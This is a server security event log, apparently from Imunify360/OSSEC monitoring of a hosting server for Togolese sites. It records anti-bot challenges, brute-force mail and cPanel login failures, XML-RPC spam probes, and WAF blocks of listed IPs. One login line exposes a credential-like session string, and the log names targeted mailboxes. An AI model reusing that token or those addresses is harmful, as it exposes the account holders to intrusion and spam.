103.108.92.88 - - [17/Jun/2026:21:15:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13013449&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781730913 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 83.142.209.27
country_id: 2635167
description:
2026-06-17 21:16:16 H=([83.142.209.27]) [83.142.209.27]:59920 F=<mail@mailling.co.uk> rejected RCPT <whiteway@white-ways.com>: Sender verify failed


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [17/Jun/2026:21:16:43 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [17/Jun/2026:21:16:43 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:21:16:42 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:21:16:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.92.41.115
country_id: 1643084
description:
2026-06-17 21:17:40 dovecot_login authenticator failed for H=([81.13.158.81]) [36.92.41.115]:11336: 535 Incorrect authentication data (set_id=laison24@cafe.tg)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 147.185.132.36
country_id: 6252001
description:
Jun 17 21:18:37 ns5 pure-ftpd[2285124]: (?@147.185.132.36) [INFO] New connection from 147.185.132.36


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [17/Jun/2026:21:19:48 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13002597&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781731187 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:21:19:48 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6395293&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781731186 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.69.9.148
country_id: 1269750
description:
Jun 17 21:20:21 ns5 auth[2195898]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.69.9.148 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 90.79.73.170
country_id: 3017382
domain: www.sia-togo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:Turbolte.www.sia-togo.tg||ServerName:www.sia-togo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:45cbbc62dbe8b04e58051352d537e2077e429009||Title:tc-check-https://fdfd.com/||RSV:8.18||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.42.116.117
country_id: 2750405
description:
Jun 17 21:21:05 ns5 auth[2195898]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.42.116.117 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.42.116.117
country_id: 2750405
description:
2026-06-17 21:21:07 dovecot_plain authenticator failed for H=(stfg51rxpynz2ke7ye1gsvf0g6zof) [192.42.116.117]:32279: 535 Incorrect authentication data (set_id=contact@cloud-et-racks.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.146
country_id: 1880251
description:
47.128.96.146 - - [17/Jun/2026:21:20:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9739112&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Ftogolais-vivants-au-senegal%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781731256 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/togolais-vivants-au-senegal/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.146


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 119.18.1.152
country_id: 2077456
domain: sia-togo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:Turbolte.sia-togo.tg||ServerName:sia-togo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:45cbbc62dbe8b04e58051352d537e2077e429009||Title:tc-check-https://fdfd.com/||RSV:8.18||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.155
country_id: 1880251
description:
47.128.96.155 - - [17/Jun/2026:21:21:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7314282&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcitronnelle%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781731268 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/citronnelle/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.155


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.202
country_id: 1880251
description:
47.128.96.202 - - [17/Jun/2026:21:20:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6855062&pdata=https%253A%252F%252Ftdn.tg%252Faccident-tragique-assahoun%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781731225 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/accident-tragique-assahoun/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.202


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.69.9.148
country_id: 1269750
description:
Jun 17 21:20:28 ns5 auth[2195898]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.69.9.148 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.37.170.66
country_id: 1814991
description:
Jun 17 21:22:49 ns5 auth[2195898]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.37.170.66 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 176.28.191.49
country_id: 248816
domain: www.cafe.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cafe.tg/carlbro/pages/doc3/index.html HTTP/1.1||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 176.28.191.49
country_id: 248816
domain: www.cafe.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cafe.tghttp/www.cafe.tg/carlbro/pages/doc3/index.html HTTP/1.1||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 43.173.180.220
country_id: 1880251
domain: togodailynews.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:request_uri||MV:le-ministre-nigerian-du-logement-preside-la-premiere-session-du-conseil-executif-2024-donu-habitat-a-nairobi/||RSV:8.18||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.166.100.85
country_id: 1282988
description:
103.166.100.85 - - [17/Jun/2026:21:25:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10120041&pdata=https%253A%252F%252Ftogodailynews.tg%252Ftag%252Fsecteur-prive%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781731540 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/tag/secteur-prive/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.166.100.85


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 1.52.183.221
country_id: 1562822
description:
[2026-06-17 21:26:59 +0000] info [cpaneld] 1.52.183.221 - cen "GET /login/?login_only=1&user=cen&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cen (has_cpuser_file failed)


plugin: modsec
rule: 77277975
name: IM360 WAF: XMLRPC getUsersBlogs RBL brute
abuser: 185.201.137.97
country_id: 298795
domain: inger.tg
description:
IM360 WAF: XMLRPC getUsersBlogs RBL brute||Username:DummysecurityGroup2031.inger.tg||Method:wp.getUsersBlogs


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 114.119.153.16
country_id: 1880251
domain: civilemagazine.tg
description:
IM360 WAF: Possible XSS in arguments||MV:https://civilemagazine.tg/onu-bola-tinubu-points-a-retenir?amp=1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [17/Jun/2026:21:30:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9933672&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781731817 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:21:30:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13199256&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781731822 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [17/Jun/2026:21:31:25 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:21:31:28 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 38.25.98.74
country_id: 3932488
description:
38.25.98.74 - - [17/Jun/2026:21:31:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6723689&pdata=https%253A%252F%252Fmediatopnews.tg%252F%253Fp%253D10787&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781731908 HTTP/2.0" 302 0 mediatopnews.tg "https://mediatopnews.tg/?p=10787" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.6749.1302 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:38.25.98.74


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [17/Jun/2026:21:31:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:21:31:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 185.158.106.32
country_id: 290557
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:21-34.185.158.106.32||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 23.81.231.221
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:21-34.23.81.231.221||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 23.81.231.219
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:21-34.23.81.231.219||RSV:8.18||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 196.242.20.102
country_id: 953987
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.18||T:APACHE||RA:196.242.20.102||TA:196.242.20.102||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 102.165.54.138
country_id: 953987
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:21-34.102.165.54.138||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 223.29.253.18
country_id: 1814991
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:21-34.223.29.253.18||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 192.3.215.165
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:21-34.192.3.215.165||RSV:8.18||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 51.77.218.239
country_id: 3017382
description:
[2026-06-17 21:34:54 +0000] info [cpaneld] 51.77.218.239 NEW wcnyaruu:4cDujHmnBwQVcIB6 address=51.77.218.239,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 102.165.54.215
country_id: 953987
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:21-34.102.165.54.215||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 154.16.20.25
country_id: 953987
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:21-34.154.16.20.25||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 23.81.231.144
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:21-34.23.81.231.144||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 191.101.109.105
country_id: 290557
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:21-34.191.101.109.105||RSV:8.18||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:21:34:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9791899&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781732065 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 93.71.103.137
country_id: 3175395
description:
93.71.103.137 - - [17/Jun/2026:21:34:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13079958&pdata=https%253A%252F%252Fkpmg.tg%252Ff3fcede3ceb48531317d565cce982d2b%252F956caa81b3c8ac8e2112f34b9feb7a31%252F9e748621ef5af3193726f97634097a23%252F1891d514c9aaf242756eccd4b76f285b%252F341167fea77beadc2c68115c2bca1713%252Findex.php%253Fcmd%253Dlogin&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781732072 HTTP/2.0" 302 0 kpmg.tg "https://kpmg.tg/f3fcede3ceb48531317d565cce982d2b/956caa81b3c8ac8e2112f34b9feb7a31/9e748621ef5af3193726f97634097a23/1891d514c9aaf242756eccd4b76f285b/341167fea77beadc2c68115c2bca1713/index.php?cmd=login" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:93.71.103.137


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [17/Jun/2026:21:34:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6658150&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781732067 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 86.96.38.181
country_id: 290557
description:
[2026-06-17 21:35:12 +0000] info [cpaneld] 86.96.38.181 - cfmitg "GET /login/?login_only=1&user=cfmitg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cfmitg (has_cpuser_file failed)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 37.151.95.91
country_id: 1522867
description:
2026-06-17 21:35:50 H=([37.151.95.91]) [37.151.95.91]:55865 F=<John@4452.com> rejected RCPT <agounkej@ucao-uut.tg>: Sender verify failed


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 185.192.20.168
country_id: 2750405
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:21-40.185.192.20.168||RSV:8.18||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.223.36.98
country_id: 3469034
description:
[2026-06-17 21:40:40 +0000] info [cpaneld] 177.223.36.98 - snco "GET /login/?login_only=1&user=snco&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user snco (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.156.165.72
country_id: 1880251
description:
Jun 17 21:41:42 ns5 auth[2195898]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.156.165.72 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 43.156.165.72
country_id: 1880251
description:
2026-06-17 21:41:44 dovecot_plain authenticator failed for H=(euag3cnu3alowh61ikxnv) [43.156.165.72]:47614: 535 Incorrect authentication data (set_id=andre.k@cafe.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:21:46:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9999306&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781732766 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [17/Jun/2026:21:45:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13266537&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781732750 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:21:47:02 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:21:47:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:21:49:22 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13353622&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781732961 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.16.38.36
country_id: 798544
description:
[2026-06-17 21:55:23 +0000] info [whostmgrd] 185.16.38.36 - root "GET /cpsess2425201395/json-api/version HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 185.16.38.36
country_id: 798544
description:
